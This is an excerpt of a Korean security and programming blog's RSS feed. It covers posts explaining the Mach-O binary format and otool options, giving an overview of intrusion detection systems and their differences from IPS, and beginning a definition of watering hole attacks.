&lt;/ul&gt;
&lt;pre class=&quot;cpp&quot; style=&quot;color: #000000; text-align: start;&quot;&gt;&lt;code&gt;struct mach_header_64 {
    uint32_t magic;          // 0xFEEDFACF (64비트), 0xFEEDFACE (32비트)
    cpu_type_t cputype;
    cpu_subtype_t cpusubtype;
    uint32_t filetype;
    uint32_t ncmds;
    uint32_t sizeofcmds;
    uint32_t flags;
    uint32_t reserved;       // only for 64-bit
};
&lt;/code&gt;&lt;/pre&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;h2 style=&quot;color: #000000; text-align: start;&quot; data-ke-size=&quot;size26&quot;&gt;2. Load Commands&lt;/h2&gt;
&lt;p style=&quot;color: #000000; text-align: start;&quot; data-ke-size=&quot;size16&quot;&gt;Mach-O의&lt;span&gt;&amp;nbsp;&lt;/span&gt;&lt;b&gt;중앙 디렉터리&lt;/b&gt;&lt;span&gt;&amp;nbsp;&lt;/span&gt;같은 개념입니다. 파일 안에 있는&lt;span&gt;&amp;nbsp;&lt;/span&gt;&lt;b&gt;세그먼트 정보, 심볼, 동적 라이브러리, Entry point&lt;/b&gt;&lt;span&gt;&amp;nbsp;&lt;/span&gt;등 메타데이터를 정의합니다.&lt;/p&gt;
&lt;p style=&quot;color: #000000; text-align: start;&quot; data-ke-size=&quot;size16&quot;&gt;Load Command는&lt;span&gt;&amp;nbsp;&lt;/span&gt;LC_*로 시작하는 다양한 타입이 있습니다.&lt;/p&gt;
&lt;p style=&quot;color: #000000; text-align: start;&quot; data-ke-size=&quot;size16&quot;&gt;예시:&lt;/p&gt;
&lt;ul style=&quot;list-style-type: disc; color: #000000; text-align: start;&quot; data-ke-list-type=&quot;disc&quot;&gt;
&lt;li&gt;LC_SEGMENT_64: 세그먼트를 정의함&lt;/li&gt;
&lt;li&gt;LC_SYMTAB: 심볼 테이블 정보&lt;/li&gt;
&lt;li&gt;LC_LOAD_DYLIB: 외부&lt;span&gt;&amp;nbsp;&lt;/span&gt;.dylib&lt;span&gt;&amp;nbsp;&lt;/span&gt;로딩 정보&lt;/li&gt;
&lt;li&gt;LC_MAIN: main entry point (iOS/macOS에서)&lt;/li&gt;
&lt;/ul&gt;
&lt;h2 style=&quot;color: #000000; text-align: start;&quot; data-ke-size=&quot;size26&quot;&gt;&amp;nbsp;&lt;/h2&gt;
&lt;h2 style=&quot;color: #000000; text-align: start;&quot; data-ke-size=&quot;size26&quot;&gt;3. &amp;nbsp;Segment &amp;amp; Section&lt;/h2&gt;
&lt;p style=&quot;color: #000000; text-align: start;&quot; data-ke-size=&quot;size16&quot;&gt;세그먼트(Segment)는 메모리에 매핑되는&lt;span&gt;&amp;nbsp;&lt;/span&gt;&lt;b&gt;논리적 블록&lt;/b&gt;이고, 섹션(Section)은 세그먼트 내에 존재하는&lt;span&gt;&amp;nbsp;&lt;/span&gt;&lt;b&gt;세부 블록&lt;/b&gt;입니다.&lt;/p&gt;
&lt;h3 style=&quot;color: #000000; text-align: start;&quot; data-ke-size=&quot;size23&quot;&gt;주요 세그먼트&lt;/h3&gt;
&lt;table style=&quot;color: #000000; text-align: start; border-collapse: collapse; width: 100%;&quot; border=&quot;1&quot; data-ke-align=&quot;alignLeft&quot; data-ke-style=&quot;style12&quot;&gt;
&lt;tbody&gt;
&lt;tr&gt;
&lt;td style=&quot;width: 24.302325%; text-align: center;&quot;&gt;세그먼트&lt;/td&gt;
&lt;td style=&quot;width: 75.697675%; text-align: center;&quot;&gt;설명&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td style=&quot;width: 24.302325%;&quot;&gt;__TEXT&lt;/td&gt;
&lt;td style=&quot;width: 75.697675%;&quot;&gt;실행 코드, 상수, 문자열&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td style=&quot;width: 24.302325%;&quot;&gt;__DATA&lt;/td&gt;
&lt;td style=&quot;width: 75.697675%;&quot;&gt;초기화된 전역 변수, HMAC 저장 가능&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td style=&quot;width: 24.302325%;&quot;&gt;__LINKEDIT&lt;/td&gt;
&lt;td style=&quot;width: 75.697675%;&quot;&gt;심볼, 디버깅 정보 등&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td style=&quot;width: 24.302325%;&quot;&gt;__PAGEZERO&lt;/td&gt;
&lt;td style=&quot;width: 75.697675%;&quot;&gt;NULL 포인터 방지용 (읽기/쓰기 불가 메모리)&lt;/td&gt;
&lt;/tr&gt;
&lt;/tbody&gt;
&lt;/table&gt;
&lt;h3 style=&quot;color: #000000; text-align: start;&quot; data-ke-size=&quot;size23&quot;&gt;&amp;nbsp;&lt;/h3&gt;
&lt;h3 style=&quot;color: #000000; text-align: start;&quot; data-ke-size=&quot;size23&quot;&gt;주요 섹션&lt;/h3&gt;
&lt;p style=&quot;color: #000000; text-align: start;&quot; data-ke-size=&quot;size16&quot;&gt;각 세그먼트는 여러 섹션을 포함합니다.&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;세그먼트섹션 이름설명&lt;/p&gt;
&lt;table style=&quot;color: #000000; text-align: start; border-collapse: collapse; width: 100%;&quot; border=&quot;1&quot; data-ke-align=&quot;alignLeft&quot; data-ke-style=&quot;style12&quot;&gt;
&lt;tbody&gt;
&lt;tr&gt;
&lt;td style=&quot;text-align: center;&quot;&gt;세그먼트&lt;/td&gt;
&lt;td style=&quot;text-align: center;&quot;&gt;섹션&lt;/td&gt;
&lt;td style=&quot;text-align: center;&quot;&gt;설명&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;__TEXT&lt;/td&gt;
&lt;td&gt;__text&lt;/td&gt;
&lt;td&gt;실제 코드&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;__TEXT&lt;/td&gt;
&lt;td&gt;__cstring&lt;/td&gt;
&lt;td&gt;문자열 상수&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;__DATA&lt;/td&gt;
&lt;td&gt;__data&lt;/td&gt;
&lt;td&gt;초기화된 데이터&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;__DATA&lt;/td&gt;
&lt;td&gt;__bss&lt;/td&gt;
&lt;td&gt;초기화되지 않은 데이터 (런타임에 0으로 초기화됨)&lt;/td&gt;
&lt;/tr&gt;
&lt;/tbody&gt;
&lt;/table&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;h2 style=&quot;color: #000000; text-align: start;&quot; data-ke-size=&quot;size26&quot;&gt;4. &amp;nbsp;Symbol Table (옵션)&lt;/h2&gt;
&lt;p style=&quot;color: #000000; text-align: start;&quot; data-ke-size=&quot;size16&quot;&gt;심볼 테이블은 함수명, 전역변수명 등&lt;span&gt;&amp;nbsp;&lt;/span&gt;&lt;b&gt;심볼의 이름과 주소&lt;/b&gt;를 연결합니다.&lt;span&gt;&amp;nbsp;&lt;/span&gt;nm,&lt;span&gt;&amp;nbsp;&lt;/span&gt;objdump&lt;span&gt;&amp;nbsp;&lt;/span&gt;같은 도구로 분석 가능.&lt;/p&gt;
&lt;hr data-ke-style=&quot;style1&quot; /&gt;
&lt;h2 style=&quot;color: #000000; text-align: start;&quot; data-ke-size=&quot;size26&quot;&gt;5. String Table (옵션)&lt;/h2&gt;
&lt;p style=&quot;color: #000000; text-align: start;&quot; data-ke-size=&quot;size16&quot;&gt;심볼의 이름 등 문자열 정보가 여기에 저장됩니다.&lt;/p&gt;
&lt;p style=&quot;color: #000000; text-align: start;&quot; data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;h2 style=&quot;color: #000000; text-align: start;&quot; data-ke-size=&quot;size26&quot;&gt;mach-o 파일 구조 분석 도구 otool&lt;/h2&gt;
&lt;p style=&quot;color: #000000; text-align: start;&quot; data-ke-size=&quot;size16&quot;&gt;otool&lt;span style=&quot;color: #000000; text-align: start;&quot;&gt;은 macOS에서&lt;span&gt;&amp;nbsp;&lt;/span&gt;&lt;/span&gt;&lt;b&gt;Mach-O 파일을 분석하는 명령어&lt;/b&gt;&lt;span style=&quot;color: #000000; text-align: start;&quot;&gt;입니다.&lt;/span&gt;&lt;br /&gt;&lt;span style=&quot;color: #000000; text-align: start;&quot;&gt;리눅스의&lt;span&gt;&amp;nbsp;&lt;/span&gt;&lt;/span&gt;objdump&lt;span style=&quot;color: #000000; text-align: start;&quot;&gt;,&lt;span&gt;&amp;nbsp;&lt;/span&gt;&lt;/span&gt;readelf&lt;span style=&quot;color: #000000; text-align: start;&quot;&gt;,&lt;span&gt;&amp;nbsp;&lt;/span&gt;&lt;/span&gt;nm&lt;span style=&quot;color: #000000; text-align: start;&quot;&gt;과 유사하게, 바이너리의 구조, 섹션, 심볼, 라이브러리 종속성 등을 확인할 수 있습니다.&lt;/span&gt;&lt;/p&gt;
&lt;pre class=&quot;bash&quot; style=&quot;color: #000000; text-align: start;&quot; data-ke-language=&quot;bash&quot;&gt;&lt;code&gt;$otool -l mylib.dylib&lt;/code&gt;&lt;/pre&gt;
&lt;p style=&quot;color: #000000; text-align: start;&quot; data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p style=&quot;color: #000000; text-align: start;&quot; data-ke-size=&quot;size16&quot;&gt;출력 예시:&lt;/p&gt;
&lt;pre class=&quot;properties&quot; style=&quot;color: #000000; text-align: start;&quot;&gt;&lt;code&gt;Load command 0
      cmd LC_SEGMENT_64
  cmdsize 712
  segname __TEXT
   vmaddr 0x0000000100000000
   ...
   Section
     sectname __text
     segname  __TEXT
     addr     0x100000f60
     size     0x0000001c0
&lt;/code&gt;&lt;/pre&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;table style=&quot;color: #000000; text-align: start; border-collapse: collapse; width: 100%;&quot; border=&quot;1&quot; data-end=&quot;740&quot; data-start=&quot;260&quot; data-ke-align=&quot;alignLeft&quot; data-ke-style=&quot;style12&quot;&gt;
&lt;tbody&gt;
&lt;tr&gt;
&lt;td style=&quot;text-align: center;&quot;&gt;옵션&lt;/td&gt;
&lt;td style=&quot;text-align: center;&quot;&gt;설명&lt;/td&gt;
&lt;/tr&gt;
&lt;tr data-end=&quot;311&quot; data-start=&quot;288&quot;&gt;
&lt;td data-end=&quot;295&quot; data-start=&quot;288&quot;&gt;-h&lt;/td&gt;
&lt;td data-end=&quot;311&quot; data-start=&quot;295&quot;&gt;Mach-O 헤더 출력&lt;/td&gt;
&lt;/tr&gt;
&lt;tr data-end=&quot;339&quot; data-start=&quot;312&quot;&gt;
&lt;td data-end=&quot;319&quot; data-start=&quot;312&quot;&gt;-l&lt;/td&gt;
&lt;td data-end=&quot;339&quot; data-start=&quot;319&quot;&gt;Load Commands 출력&lt;/td&gt;
&lt;/tr&gt;
&lt;tr data-end=&quot;385&quot; data-start=&quot;340&quot;&gt;
&lt;td data-end=&quot;347&quot; data-start=&quot;340&quot;&gt;-L&lt;/td&gt;
&lt;td data-end=&quot;385&quot; data-start=&quot;347&quot;&gt;연결된 외부&lt;span&gt;&amp;nbsp;&lt;/span&gt;.dylib&lt;span&gt;&amp;nbsp;&lt;/span&gt;목록 (LC_LOAD_DYLIB)&lt;/td&gt;
&lt;/tr&gt;
&lt;tr data-end=&quot;436&quot; data-start=&quot;386&quot;&gt;
&lt;td data-end=&quot;393&quot; data-start=&quot;386&quot;&gt;-t&lt;/td&gt;
&lt;td data-end=&quot;436&quot; data-start=&quot;393&quot;&gt;__TEXT, __text&lt;span&gt;&amp;nbsp;&lt;/span&gt;섹션의 기계어 출력 (디스어셈블링 없이)&lt;/td&gt;
&lt;/tr&gt;
&lt;tr data-end=&quot;462&quot; data-start=&quot;437&quot;&gt;
&lt;td data-end=&quot;444&quot; data-start=&quot;437&quot;&gt;-v&lt;/td&gt;
&lt;td data-end=&quot;462&quot; data-start=&quot;444&quot;&gt;기계어를 가독성 있게 출력&lt;/td&gt;
&lt;/tr&gt;
&lt;tr data-end=&quot;497&quot; data-start=&quot;463&quot;&gt;
&lt;td data-end=&quot;470&quot; data-start=&quot;463&quot;&gt;-V&lt;/td&gt;
&lt;td data-end=&quot;497&quot; data-start=&quot;470&quot;&gt;기계어를&lt;span&gt;&amp;nbsp;&lt;/span&gt;AT&amp;amp;T&lt;span&gt;&amp;nbsp;&lt;/span&gt;어셈블리로 디스어셈블&lt;/td&gt;
&lt;/tr&gt;
&lt;tr data-end=&quot;548&quot; data-start=&quot;498&quot;&gt;
&lt;td data-end=&quot;525&quot; data-start=&quot;498&quot;&gt;-s &amp;lt;segment&amp;gt; &amp;lt;section&amp;gt;&lt;/td&gt;
&lt;td data-end=&quot;548&quot; data-start=&quot;525&quot;&gt;특정 세그먼트/섹션의 헥사 값 출력&lt;/td&gt;
&lt;/tr&gt;
&lt;tr data-end=&quot;573&quot; data-start=&quot;549&quot;&gt;
&lt;td data-end=&quot;556&quot; data-start=&quot;549&quot;&gt;-S&lt;/td&gt;
&lt;td data-end=&quot;573&quot; data-start=&quot;556&quot;&gt;모든 섹션의 내용을 출력&lt;/td&gt;
&lt;/tr&gt;
&lt;tr data-end=&quot;615&quot; data-start=&quot;574&quot;&gt;
&lt;td data-end=&quot;581&quot; data-start=&quot;574&quot;&gt;-r&lt;/td&gt;
&lt;td data-end=&quot;615&quot; data-start=&quot;581&quot;&gt;재배치 정보 (relocation entries) 출력&lt;/td&gt;
&lt;/tr&gt;
&lt;tr data-end=&quot;648&quot; data-start=&quot;616&quot;&gt;
&lt;td data-end=&quot;623&quot; data-start=&quot;616&quot;&gt;-M&lt;/td&gt;
&lt;td data-end=&quot;648&quot; data-start=&quot;623&quot;&gt;Objective-C 메서드 목록 출력&lt;/td&gt;
&lt;/tr&gt;
&lt;tr data-end=&quot;684&quot; data-start=&quot;649&quot;&gt;
&lt;td data-end=&quot;656&quot; data-start=&quot;649&quot;&gt;-I&lt;/td&gt;
&lt;td data-end=&quot;684&quot; data-start=&quot;656&quot;&gt;indirect symbol table 출력&lt;/td&gt;
&lt;/tr&gt;
&lt;tr data-end=&quot;740&quot; data-start=&quot;685&quot;&gt;
&lt;td data-end=&quot;700&quot; data-start=&quot;685&quot;&gt;-dyld_info&lt;/td&gt;
&lt;td data-end=&quot;740&quot; data-start=&quot;700&quot;&gt;dyld 정보 출력 (lazy symbol, bindings 등)&lt;/td&gt;
&lt;/tr&gt;
&lt;/tbody&gt;
&lt;/table&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;</description>
      <category>Programming/IOS, macOS, Android</category>
      <category>apple</category>
      <category>dylib</category>
      <category>IOS</category>
      <category>ios개발자</category>
      <category>macos</category>
      <category>애플</category>
      <category>파일구조</category>
      <author>defcon</author>
      <guid isPermaLink="true">https://defcon.tistory.com/14</guid>
      <comments>https://defcon.tistory.com/14#entry14comment</comments>
      <pubDate>Thu, 24 Apr 2025 09:08:49 +0900</pubDate>
    </item>
    <item>
      <title>침입탐지시스템(IDS) 개요</title>
      <link>https://defcon.tistory.com/13</link>
      <description>&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;h3 data-ke-size=&quot;size23&quot;&gt;침입탐지시스템(IDS)&amp;nbsp;&lt;/h3&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;침입탐지시스템(IDS, Intrusion Detection System)은 네트워크와 시스템의 보안을 강화하기 위해 설계된 중요한 보안 기술입니다. 2025년 현재, IDS는 사이버 보안 환경에서 필수적인 역할을 하며, 증가하는 위협에 대응하기 위해 지속적으로 발전하고 있습니다. 아래에서는 IDS의 정의, 작동 원리, 유형, 최근 동향, 그리고 관련 기술적 세부 사항을 상세히 다룹니다.&lt;/p&gt;
&lt;h4 data-ke-size=&quot;size20&quot;&gt;IDS의 정의와 역할&lt;/h4&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;IDS는 네트워크 트래픽이나 시스템 활동을 실시간으로 모니터링하여, 의심스러운 활동이나 정책 위반을 탐지하고 이를 관리자 또는 보안 팀에 보고합니다. 이는 전통적인 방화벽이 감지할 수 없는 다양한 유형의 악의적인 활동을 식별할 수 있어, 네트워크와 시스템 보안에 필수적인 역할을 합니다. 예를 들어, 네트워크 공격(취약한 서비스 대상), 데이터 처리 공격(data driven attack), 권한 상승(privilege escalation), 침입자 로그인, 주요 파일 접근, 악성 소프트웨어(컴퓨터 바이러스, 트로이목마, 웜)와 같은 호스트 기반 공격을 포함합니다.&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;위키백과에 따르면, IDS는 시스템에 대한 원치 않는 조작을 탐지하며, 이는 숙련된 해커나 자동화된 도구에 의한 공격 형태로 나타날 수 있습니다. 주니퍼 네트웍스는 IDS가 알려진 공격 패턴과 악의적인 행동을 기반으로 위협을 탐지하며, 공격자가 사용하는 회피 기술(예: RPC 단편화, HTML 패딩)도 탐지할 수 있다고 설명합니다.&lt;/p&gt;
&lt;h4 data-ke-size=&quot;size20&quot;&gt;IDS의 작동 원리&lt;/h4&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;IDS는 여러 구성 요소와 방법론으로 작동합니다. 주요 구성 요소는 다음과 같습니다:&lt;/p&gt;
&lt;ul style=&quot;list-style-type: disc;&quot; data-ke-list-type=&quot;disc&quot;&gt;
&lt;li&gt;&lt;b&gt;센서&lt;/b&gt;: 보안 이벤트를 생성하여 잠재적인 위협을 포착합니다.&lt;/li&gt;
&lt;li&gt;&lt;b&gt;콘솔&lt;/b&gt;: 센서를 모니터링하고 제어하거나 경보를 보냅니다.&lt;/li&gt;
&lt;li&gt;&lt;b&gt;중앙 엔진&lt;/b&gt;: 이벤트를 로깅하거나 시스템 규칙에 따라 경보를 생성합니다.&lt;/li&gt;
&lt;/ul&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;탐지 방법은 두 가지 주요 유형으로 나뉩니다:&lt;/p&gt;
&lt;ul style=&quot;list-style-type: disc;&quot; data-ke-list-type=&quot;disc&quot;&gt;
&lt;li&gt;&lt;b&gt;Misuse Detection (시그니처 기반)&lt;/b&gt;: 알려진 공격 패턴을 데이터베이스와 비교하여 탐지합니다. 예를 들어, HTTP GET 요청을 통해 'cmd.exe'에 접근하려는 시도를 식별할 수 있습니다.&lt;/li&gt;
&lt;li&gt;&lt;b&gt;Anomaly Detection (이상 탐지)&lt;/b&gt;: 정상적인 네트워크 또는 호스트 행동에서 벗어나는 패턴을 학습을 통해 식별합니다. 이는 트래픽 부하, 프로토콜, 패킷 크기 등의 기준을 사용하며, 자가 학습을 통해 기준을 설정합니다.&lt;/li&gt;
&lt;/ul&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;응답 방식은 다음과 같이 나뉩니다:&lt;/p&gt;
&lt;ul style=&quot;list-style-type: disc;&quot; data-ke-list-type=&quot;disc&quot;&gt;
&lt;li&gt;&lt;b&gt;패시브&lt;/b&gt;: 잠재적인 보안 위반을 로깅하고 경보를 보냅니다.&lt;/li&gt;
&lt;li&gt;&lt;b&gt;리액티브&lt;/b&gt;: 자동으로 또는 운영자 개입을 통해 대응합니다. 예를 들어, 사용자를 로그오프시키거나 방화벽을 재설정하여 의심스러운 트래픽을 차단할 수 있습니다.&lt;/li&gt;
&lt;/ul&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;Palo Alto Networks는 IDS가 청취 전용 디바이스로, 트래픽을 모니터링하고 결과를 보고하지만, 시스템을 장악하려는 익스플로잇을 자동으로 차단하지는 않는다고 설명합니다. 이는 IDS와 IPS(침입 방지 시스템)의 주요 차이점 중 하나입니다.&lt;/p&gt;
&lt;h4 data-ke-size=&quot;size20&quot;&gt;IDS의 유형&lt;/h4&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;IDS는 배치 위치와 감지 대상에 따라 여러 유형으로 나뉩니다:&lt;/p&gt;
&lt;ul style=&quot;list-style-type: disc;&quot; data-ke-list-type=&quot;disc&quot;&gt;
&lt;li&gt;&lt;b&gt;네트워크 기반 IDS (NIDS)&lt;/b&gt;: 네트워크의 특정 지점(예: DMZ)에 배치된 센서가 모든 네트워크 트래픽을 캡처하고 분석하여 악의적인 내용을 탐지합니다. 대부분의 NIDS는 네트워크 인터페이스 카드가 2개 이상으로 구현되며, 패킷 캡처를 위한 카드는 IP 주소를 가지지 않게 구성됩니다.&lt;/li&gt;
&lt;li&gt;&lt;b&gt;호스트 기반 IDS (HIDS)&lt;/b&gt;: 개별 호스트에 설치된 소프트웨어 에이전트가 시스템 콜, 애플리케이션 로그, 파일 시스템 수정 등을 모니터링합니다. 다중 H-IDS와 구분하여 단일 호스트 기반 IDS라고도 부릅니다.&lt;/li&gt;
&lt;li&gt;&lt;b&gt;하이브리드 IDS&lt;/b&gt;: 네트워크 기반과 호스트 기반을 결합한 형태로, 예를 들어 Prelude와 같은 솔루션이 호스트 에이전트 데이터와 네트워크 정보를 통합합니다.&lt;/li&gt;
&lt;/ul&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;IT 위키는 NIDS가 상태 추적 테이블을 만들어 단일 패킷이 아닌 뒤따르는 커넥션을 종합적으로 평가한다고 설명하며, 이는 이스라엘 보안업체 Checkpoint에서 최초로 개발한 기능으로 현재 대부분의 IDS에서 제공됩니다.&lt;/p&gt;
&lt;h4 data-ke-size=&quot;size20&quot;&gt;IDS와 IPS의 비교&lt;/h4&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;IDS와 IPS는 보안에서 중요한 역할을 하지만, 기능적으로 차이가 있습니다. 아래 표는 두 시스템의 주요 차이를 요약합니다.&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;table style=&quot;border-collapse: collapse; width: 100%; height: 117px;&quot; border=&quot;1&quot; data-ke-align=&quot;alignLeft&quot; data-ke-style=&quot;style12&quot;&gt;
&lt;tbody&gt;
&lt;tr style=&quot;height: 17px;&quot;&gt;
&lt;td style=&quot;width: 13.217054%; text-align: center; height: 17px;&quot;&gt;구분&lt;/td&gt;
&lt;td style=&quot;width: 42.054263%; text-align: center; height: 17px;&quot;&gt;IDS(침입 탐지 시스템)&lt;/td&gt;
&lt;td style=&quot;width: 44.728682%; text-align: center; height: 17px;&quot;&gt;IPS(침입 방지 시스템)&lt;/td&gt;
&lt;/tr&gt;
&lt;tr style=&quot;height: 35px;&quot;&gt;
&lt;td style=&quot;width: 13.217054%; text-align: center; height: 35px;&quot;&gt;정의&lt;/td&gt;
&lt;td style=&quot;width: 42.054263%; height: 35px;&quot;&gt;네트워크 트래픽을 모니터링하여 침입 징후를 탐지&lt;/td&gt;
&lt;td style=&quot;width: 44.728682%; height: 35px;&quot;&gt;침입을 탐지하고, 이를 차단&lt;br /&gt;(패킷 손실, 세션 종료)&lt;/td&gt;
&lt;/tr&gt;
&lt;tr style=&quot;height: 13px;&quot;&gt;
&lt;td style=&quot;width: 13.217054%; text-align: center; height: 13px;&quot;&gt;운영 모드&lt;/td&gt;
&lt;td style=&quot;width: 42.054263%; height: 13px;&quot;&gt;청취 전용, 아웃 오브 밴드 모드, 모든 트래픽 분석&lt;/td&gt;
&lt;td style=&quot;width: 44.728682%; height: 13px;&quot;&gt;트래픽 경로에 내장, 모든 트래픽이 통과&lt;/td&gt;
&lt;/tr&gt;
&lt;tr style=&quot;height: 17px;&quot;&gt;
&lt;td style=&quot;width: 13.217054%; text-align: center; height: 17px;&quot;&gt;기능성&lt;/td&gt;
&lt;td style=&quot;width: 42.054263%; height: 17px;&quot;&gt;알려진 공격 패턴과 행동 기반으로 위협 탐지, 보고&lt;/td&gt;
&lt;td style=&quot;width: 44.728682%; height: 17px;&quot;&gt;탐지 후 트래픽 차단 가능, 세션 종료 등 적극적 대응&lt;/td&gt;
&lt;/tr&gt;
&lt;tr style=&quot;height: 35px;&quot;&gt;
&lt;td style=&quot;width: 13.217054%; text-align: center; height: 35px;&quot;&gt;DDoS 보호&lt;/td&gt;
&lt;td style=&quot;width: 42.054263%; height: 35px;&quot;&gt;DDoS 공격 방지 불가&lt;/td&gt;
&lt;td style=&quot;width: 44.728682%; height: 35px;&quot;&gt;특정 유형(AppDoS) 방지 가능&lt;br /&gt;대규모 DDoS는 별도 솔루션 필요&lt;/td&gt;
&lt;/tr&gt;
&lt;/tbody&gt;
&lt;/table&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;IBM은 IDS가 자체적으로 보안 위협을 차단할 수 없으며, 종종 IPS와 통합되어 사용된다고 설명합니다. 반면, IPS는 IDS의 탐지 기능에 자동화된 위협 방지 기능을 추가하여, 보안 팀의 워크로드를 줄이고 복잡한 위협에 집중할 수 있도록 돕습니다.&lt;/p&gt;
&lt;h4 data-ke-size=&quot;size20&quot;&gt;2025년 IDS의 최근 동향&lt;/h4&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;2025년 현재, IDS 시장은 지속적인 성장을 보이고 있으며, 시장 규모는 2018년 약 30억 달러에서 2025년 약 80억 달러로 성장할 것으로 예상됩니다. 이 성장은 사이버 공격의 증가와 보안 요구 사항의 높아짐에 따른 것으로, 특히 네트워크 기반 IDS(NIDS)가 글로벌 시장에서 20% 이상의 점유율을 차지하고 있습니다.&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;최근 동향으로는 다음과 같은 기술적 발전이 있습니다:&lt;/p&gt;
&lt;ul style=&quot;list-style-type: disc;&quot; data-ke-list-type=&quot;disc&quot;&gt;
&lt;li&gt;&lt;b&gt;AI 및 머신러닝 통합&lt;/b&gt;: 이상 탐지를 위한 더 정확한 행동 분석과 자동화된 위협 대응. 예를 들어, Cloudnuro.ai는 현대 IDPS 솔루션이 AI와 ML을 활용하여 실시간 모니터링과 위협 탐지를 강화한다고 설명합니다.&lt;/li&gt;
&lt;li&gt;&lt;b&gt;무선 IDS&lt;/b&gt;: 무선 네트워크를 포함한 보안 강화, 특히 스마트 빌딩과 IoT 환경에서 중요.&lt;/li&gt;
&lt;li&gt;&lt;b&gt;통합 및 자동화&lt;/b&gt;: 다른 보안 시스템(예: SIEM, 방화벽)과의 원활한 연동, 예를 들어 Juniper Networks의 솔루션이 SRX 시리즈 방화벽에 IDS/IPS를 통합&lt;/li&gt;
&lt;/ul&gt;
&lt;h4 data-ke-size=&quot;size20&quot;&gt;실용적 고려사항&lt;/h4&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;IDS는 엔드포인트에 설치된 소프트웨어 애플리케이션이나 네트워크에 연결된 전용 하드웨어 디바이스로 구현될 수 있으며, 일부는 클라우드 서비스로 제공됩니다. 예를 들어, Atomic OSSEC은 다양한 규모의 팀에 적합한 솔루션으로 평가받으며, Trellix IPS는 핵심 및 고급 기능을 제공합니다.&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;또한, IDS는 PCI-DSS와 같은 규정 준수 요구 사항을 충족하는 데 도움을 줄 수 있으며, 보안 운영 센터(SOC)의 효율성을 높이는 데 기여합니다. 그러나 대규모 DDoS 공격에는 전용 솔루션(예: Juniper의 Corero DDoS)이 필요할 수 있습니다.&lt;/p&gt;</description>
      <category>정보보호</category>
      <author>defcon</author>
      <guid isPermaLink="true">https://defcon.tistory.com/13</guid>
      <comments>https://defcon.tistory.com/13#entry13comment</comments>
      <pubDate>Wed, 23 Apr 2025 12:27:37 +0900</pubDate>
    </item>
    <item>
      <title>워터링 홀 공격 기법의 개념</title>
      <link>https://defcon.tistory.com/12</link>
      <description>&lt;h2 style=&quot;color: #000000; text-align: start;&quot; data-ke-size=&quot;size26&quot;&gt;워터링 홀(Watering Hole) 공격&lt;/h2&gt;
&lt;h3 style=&quot;color: #000000; text-align: start;&quot; data-ke-size=&quot;size23&quot;&gt;워터링 홀 공격의 정의&lt;/h3&gt;
&lt;p style=&quot;color: #000000; text-align: start;&quot; data-ke-size=&quot;size16&quot;&gt;워터링 홀 공격은&lt;span&gt;&amp;nbsp;&lt;/span&gt;&lt;b&gt;공격 대상이 자주 방문하는 웹사이트를 노려서&lt;/b&gt;&lt;span&gt;&amp;nbsp;&lt;/span&gt;해당 사이트에 악성 코드를 심어 놓고, 피해자가 그 사이트를 방문할 때 악성 코드에 감염되도록 하는 사이버 공격 기법입니다. 쉽게 말해, 사자가 먹이가 되는 동물들이 모이는&lt;span&gt;&amp;nbsp;&lt;/span&gt;&lt;b&gt;물 웅덩이(watering hole)&lt;/b&gt;&lt;span&gt;&amp;nbsp;&lt;/span&gt;근처에서 매복했다가 사냥하듯이, 해커가 특정 그룹(회사나 기관의 직원들 등)이 자주 드나드는 웹사이트를&lt;span&gt;&amp;nbsp;&lt;/span&gt;&lt;b&gt;미리 감염시켜 놓고 표적을 기다리는&lt;/b&gt;&lt;span&gt;&amp;nbsp;&lt;/span&gt;것입니다. 이 공격의 이름도 이러한 동물들의 물 웅덩이 사냥 방식에서 유래했습니다. 워터링 홀 공격은 사용자가 신뢰하는&lt;span&gt;&amp;nbsp;&lt;/span&gt;&lt;b&gt;정상 웹사이트&lt;/b&gt;를 매개로 이루어지기 때문에 쉽게 의심받지 않고, 보안 솔루션에도 